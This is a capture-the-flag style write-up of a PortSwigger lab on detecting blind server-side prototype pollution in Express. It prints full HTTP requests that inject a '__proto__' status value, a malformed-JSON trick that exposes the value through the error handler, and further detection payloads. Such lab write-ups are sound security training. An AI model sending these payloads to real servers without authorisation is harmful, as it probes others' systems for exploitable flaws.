Detecting Blind Server-Side Prototype Pollution
Platform: PortSwigger Web Security Academy Vulnerability: Blind Server-side Prototype Pollution Detection Difficulty: Practitioner
Overview
When server-side prototype pollution exists but polluted properties aren’t reflected in responses, you need alternative detection techniques. This lab demonstrates using error handler behavior as a side-channel to confirm pollution.
The Challenge
Unlike the previous lab where isAdmin appeared in responses, this application doesn’t reflect arbitrary properties back. You need to detect pollution through observable side effects.
Detection Technique: Status Code Pollution
Step 1: Inject the Pollution
POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=CiL3bW08wrIseq9OgKJSB9cx23yUmGuP
{
"address_line_1": "Wiener HQ1",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "CiL3bW08wrIseq9OgKJSB9cx23yUmGuP",
"__proto__": {
"status": 599
}
}
Response (No Reflection)
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ1",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": false
}
Note: status is NOT reflected - no direct confirmation of pollution.
Step 2: Trigger an Error to Confirm
Send malformed JSON to force the error handler to execute:
POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=CiL3bW08wrIseq9OgKJSB9cx23yUmGuP
{"address_line_1":"Wiener HQ1","sessionId":CiL3bW08wrIseq9OgKJSB9cx23yUmGuP}
Note: Missing quotes around sessionId value makes this invalid JSON.
Error Response (Confirms Pollution)
HTTP/1.1 500 Internal Server Error
{
"error": {
"expose": false,
"statusCode": 599,
"status": 599,
"body": "...",
"type": "entity.parse.failed"
}
}
Confirmation: The error object inherited status: 599 from the polluted prototype!
Why This Works
- Express error handling creates error objects
- These objects inherit from
Object.prototype - When looking up
statusproperty, if not set directly, it inherits from prototype - Our polluted
status: 599gets inherited by error objects - The non-standard 599 code proves the pollution exists
Key Learnings
- Blind detection - When properties aren’t reflected, look for side effects
- Error handlers as oracles - Force errors to observe polluted properties in error objects
- Why 599? - Non-standard HTTP status code that wouldn’t occur naturally, clear signal
- Malformed JSON trick - Easy way to trigger JSON parsing errors in Express
- Safe testing - Status codes are non-destructive compared to polluting
toStringorconstructor
Other Blind Detection Techniques
1. JSON Spaces
- Property:
json spaces - Effect: Response indentation changes
Payload:
"__proto__":{"json spaces":10}
Look for: JSON responses change from compact to 10-space indentation
2. Content-Type
- Property:
content-type - Effect: Response header override
Payload:
"__proto__":{"content-type":"text/html"}
Look for: Content-Type header changes from application/json to text/html
3. Charset
- Property:
charset - Effect: Encoding errors
Payload:
"__proto__":{"charset":"utf-7"}
Look for: Garbled characters or encoding errors in response
References
- PortSwigger Server-side Prototype Pollution: https://portswigger.net/web-security/prototype-pollution/server-side
- PortSwigger Detecting without reflection: https://portswigger.net/web-security/prototype-pollution/server-side#detecting-server-side-prototype-pollution-without-polluted-property-reflection